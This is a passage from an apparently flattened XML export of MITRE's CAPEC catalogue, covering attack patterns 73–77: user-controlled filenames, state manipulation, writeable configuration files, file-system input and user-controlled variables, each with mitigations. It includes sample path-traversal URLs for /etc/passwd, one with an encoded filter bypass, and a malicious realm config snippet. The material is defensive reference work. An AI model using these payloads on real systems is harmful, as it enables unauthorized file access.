+ + + + #indReferenceReference43691 + Reference_43691 + + + + + + + + + REF-500 + + + + + 5.11.4. Validating Hypertext Links (URIs/URLs) + + + + + + + + + + + + #indContentHistoryContentHistory43693 + Content_History_43693 + + + + + + + + + + + + + + + + #indSubmissionSubmission43694 + Submission_43694 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification43699 + Modification_43699 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification43705 + Modification_43705 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification43711 + Modification_43711 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Indicators, Mitigations + + + + + + + + + + + + #indModificationModification43717 + Modification_43717 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification43723 + Modification_43723 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow, Extended_Description, Skills_Required + + + + + + + + + + + + #indModificationModification43729 + Modification_43729 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-73 + User-Controlled Filename + + + + + + + + + 73 + + + + + User-Controlled Filename + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43742 + Related_Attack_Pattern_43742 + + + + + + + + + + + + + + 165 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43743 + Related_Attack_Pattern_43743 + + + + + + + + + + + + + + 592 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must trust the name and locale of user controlled filenames.</xhtml:div> + + + + + + + + + + + + #indSkillSkill43749 + Skill_43749 + + + + + + + + + + + + + + To achieve a redirection and use of less trusted source, an attacker can simply edit data that the host uses to build the filename + + + + + + + + + + + + #indSkillSkill43750 + Skill_43750 + + + + + + + + + + + + + + Deploying a malicious "look-a-like" site (such as a site masquerading as a bank or online auction site) that the user enters their authentication data into. + + + + + + + + + + + + #indSkillSkill43751 + Skill_43751 + + + + + + + + + + + + + + Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. + + + + + + + + + + + + #indConsequenceConsequence43754 + Consequence_43754 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43760 + Consequence_43760 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43767 + Consequence_43767 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43771 + Consequence_43771 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform output validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Disable scripting languages such as JavaScript in browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Scan dynamically generated content against validation specification</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Phishing attacks rely on a user clicking on links on that are supplied to them by attackers masquerading as a trusted resource such as a bank or online auction site. The end user's email client hosts the supplied resource name in this case via email. The resource name, however may either 1) direct the client browser to a malicious site to steal credentials and/or 2) execute code on the client machine to probe the victim's host system and network environment.</xhtml:div> + + + + + 20 + + + + + 184 + + + + + 96 + + + + + 348 + + + + + 116 + + + + + 350 + + + + + 86 + + + + + 697 + + + + + + + + + + + + #indReferenceReference43798 + Reference_43798 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory43800 + Content_History_43800 + + + + + + + + + + + + + + + + #indSubmissionSubmission43801 + Submission_43801 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification43806 + Modification_43806 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-74 + Manipulating State + + + + + + + + + 74 + + + + + Manipulating State + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indAttackStepAttackStep43823 + Attack_Step_43823 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary determines the nature of state management employed by the target. This includes determining the location (client-side, server-side or both applications) and possibly the items stored as part of user state.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43828 + Attack_Step_43828 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary now tries to modify the user state contents (possibly indiscriminately if the contents are encrypted or otherwise obfuscated) or cause a state transition and observe the effects of this change on the target.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep43833 + Attack_Step_43833 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Having determined how to manipulate the state, the adversary can perform illegitimate actions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User state is maintained at least in some way in user-controllable locations, such as cookies or URL parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There is a faulty finite state machine in the hardware logic that can be exploited.</xhtml:div> + + + + + + + + + + + + #indSkillSkill43844 + Skill_43844 + + + + + + + + + + + + + + The adversary needs to have knowledge of state management as employed by the target application, and also the ability to manipulate the state in a meaningful way. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs a data tampering tool capable of generating and creating custom inputs to aid in the attack, like Fiddler, Wireshark, or a similar in-browser plugin (e.g., Tamper Data for Firefox).</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence43850 + Consequence_43850 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43856 + Consequence_43856 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence43860 + Consequence_43860 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not rely solely on user-controllable locations, such as cookies or URL parameters, to maintain user state.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid sensitive information, such as usernames or authentication and authorization information, in user-controllable locations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sensitive information that is part of the user state must be appropriately protected to ensure confidentiality and integrity at each request.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">All possible states must be handled by hardware finite state machines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;During the authentication process, an application stores the authentication decision (auth=0/1) in unencrypted cookies. At every request, this cookie is checked to permit or deny a request.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary can easily violate this representation of user state and set auth=1 at every request in order to gain illegitimate access and elevated privilege in the application.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 372 + + + + + 315 + + + + + 353 + + + + + 693 + + + + + 1245 + + + + + 1253 + + + + + 1265 + + + + + 1271 + + + + + + + + + + + + #indContentHistoryContentHistory43887 + Content_History_43887 + + + + + + + + + + + + + + + + #indSubmissionSubmission43888 + Submission_43888 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification43893 + Modification_43893 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification43899 + Modification_43899 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Probing_Techniques, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification43905 + Modification_43905 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Consequences, Description, Execution_Flow, Mitigations, Prerequisites, Related_Weaknesses + + + + + + + + + + + + #indModificationModification43911 + Modification_43911 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Execution_Flow, Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName43917 + Previous_Entry_Name_43917 + + + + + + + + + 2020-07-30 + + + + + Manipulating User State + + + + + + + + + + + + #CAPEC-75 + Manipulating Writeable Configuration Files + + + + + + + + + 75 + + + + + Manipulating Writeable Configuration Files + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern43927 + Related_Attack_Pattern_43927 + + + + + + + + + + + + + + 176 + + + + + 437 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration files must be modifiable by the attacker</xhtml:div> + + + + + + + + + + + + #indSkillSkill43936 + Skill_43936 + + + + + + + + + + + + + + To identify vulnerable configuration files, and understand how to manipulate servers and erase forensic evidence + + + + + + + + + + + + #indConsequenceConsequence43939 + Consequence_43939 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Backup copies of all configuration files</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Integrity monitoring for configuration files</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Enforce audit logging on code and configuration promotion procedures.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Load configuration from separate process and memory space, for example a separate physical device like a CD</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The BEA Weblogic server uses a config.xml file to store configuration data. If this file is not properly protected by the system access control, an attacker can write configuration information to redirect server output through system logs, database connections, malicious URLs and so on. Access to the Weblogic server may be from a so-called Custom realm which manages authentication and authorization privileges on behalf of user principals. Given write access, the attacker can insert a pointer to a custom realm jar file in the config.xml&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt; CustomRealm&lt;xhtml:div style="margin-left:1em;"&gt;ConfigurationData="java.util.Properties"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;Name="CustomRealm"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;RealmClassName="Maliciousrealm.jar"&lt;xhtml:br&gt;&lt;/xhtml:br&gt;/&amp;gt;&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The main issue with configuration files is that the attacker can leverage all the same functionality the server has, but for malicious means. Given the complexity of server configuration, these changes may be very hard for administrators to detect.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 349 + + + + + 99 + + + + + 77 + + + + + 346 + + + + + 353 + + + + + 354 + + + + + + + + + + + + #indReferenceReference43970 + Reference_43970 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory43972 + Content_History_43972 + + + + + + + + + + + + + + + + #indSubmissionSubmission43973 + Submission_43973 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification43978 + Modification_43978 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification43984 + Modification_43984 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification43990 + Modification_43990 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification43996 + Modification_43996 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification44002 + Modification_44002 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-76 + Manipulating Web Input to File System Calls + + + + + + + + + 76 + + + + + Manipulating Web Input to File System Calls + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44017 + Related_Attack_Pattern_44017 + + + + + + + + + + + + + + 126 + + + + + + + + + + + + #indAttackStepAttackStep44020 + Attack_Step_44020 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Fingerprinting of the operating system] In order to create a valid file injection, the attacker needs to know what the underlying OS is so that the proper file seperator is used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Induce errors to find informative error messages</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44028 + Attack_Step_44028 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the Application to Identify User-controllable Inputs] The attacker surveys the target application to identify all user-controllable inputs, possibly as a valid and authenticated user</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spider web sites for all available links, entry points to the web site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually explore application and inventory all application inputs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44035 + Attack_Step_44035 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Vary inputs, looking for malicious results] Depending on whether the application being exploited is a remote or local one, the attacker crafts the appropriate malicious input containing the path of the targeted file or other file system control syntax to be passed to the application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject context-appropriate malicious file path using network packet injection tools (netcat, nemesis, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject context-appropriate malicious file path using web test frameworks (proxies, TamperData, custom programs, etc.) or simple HTTP requests</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject context-appropriate malicious file system control syntax</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44043 + Attack_Step_44043 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate files accessible by the application] The attacker may steal information or directly manipulate files (delete, copy, flush, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker injects context-appropriate malicious file path to access the content of the targeted file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker injects context-appropriate malicious file system control syntax to access the content of the targeted file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker injects context-appropriate malicious file path to cause the application to create, delete a targeted file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker injects context-appropriate malicious file system control syntax to cause the application to create, delete a targeted file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker injects context-appropriate malicious file path in order to manipulate the meta-data of the targeted file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker injects context-appropriate malicious file system control syntax in order to manipulate the meta-data of the targeted file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Program must allow for user controlled variables to be applied directly to the filesystem</xhtml:div> + + + + + + + + + + + + #indSkillSkill44059 + Skill_44059 + + + + + + + + + + + + + + To identify file system entry point and execute against an over-privileged system interface + + + + + + + + + + + + #indConsequenceConsequence44062 + Consequence_44062 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44068 + Consequence_44068 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure all input is validated, and does not contain file system commands</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: For interactive user applications, consider if direct file system interface is necessary, instead consider having the application proxy communication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The attacker uses relative path traversal to access files in the application. This is an example of accessing user's password file.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Then an attacker creates special payloads to bypass this filter:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When the application gets this input string, it will be the desired vector by the attacker.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 23 + + + + + 22 + + + + + 73 + + + + + 77 + + + + + 346 + + + + + 348 + + + + + 285 + + + + + 272 + + + + + 59 + + + + + 74 + + + + + 15 + + + + + + + + + + + + #indReferenceReference44104 + Reference_44104 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory44106 + Content_History_44106 + + + + + + + + + + + + + + + + #indSubmissionSubmission44107 + Submission_44107 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification44112 + Modification_44112 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Examples-Instances, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification44118 + Modification_44118 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification44124 + Modification_44124 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification44130 + Modification_44130 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification44136 + Modification_44136 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName44142 + Previous_Entry_Name_44142 + + + + + + + + + 2017-01-09 + + + + + Manipulating Input to File System Calls + + + + + + + + + + + + #CAPEC-77 + Manipulating User-Controlled Variables + + + + + + + + + 77 + + + + + Manipulating User-Controlled Variables + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern44151 + Related_Attack_Pattern_44151 + + + + + + + + + + + + + + 22 + + + + + 512 + + + + + + + + + + + + #indAttackStepAttackStep44156 + Attack_Step_44156 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe target application] The adversary first probes the target application to determine important information about the target. This information could include types software used, software versions, what user input the application consumes, and so on.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44161 + Attack_Step_44161 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find user-controlled variables] Using the information found by probing the application, the adversary attempts to manipulate many user-controlled variables and observes the effects on the application. If the adversary notices any significant changes to the application, they will know that a certain variable is useful to the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries will try to alter many common variable names such as "count", "tempFile", "i", etc. The hope is that they can alter the flow of the application without knowing the inner-workings.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries will try to alter known environment variables.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep44168 + Attack_Step_44168 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate user-controlled variables] Once the adversary has found a user-controller variable(s) that is important to the application, they will manipulate it to change the normal behavior in a way that benefits the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A variable consumed by the application server is exposed to the client.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A variable consumed by the application server can be overwritten by the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application server trusts user supplied data to compute business logic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application server does not perform proper input validation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill44181 + Skill_44181 + + + + + + + + + + + + + + The malicious user can easily try some well-known global variables and find one which matches. + + + + + + + + + + + + #indSkillSkill44182 + Skill_44182 + + + + + + + + + + + + + + The adversary can use automated tools to probe for variables that they can control. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A web penetration tool probing a web server may generate abnormal activities recorded on log files. Abnormal traffic such as a high number of request coming from the same client may also rise the warnings from a monitoring system or an intrusion detection tool.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44188 + Consequence_44188 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44192 + Consequence_44192 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence44199 + Consequence_44199 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence44203 + Consequence_44203 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Do not allow override of global variables and do Not Trust Global Variables.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the 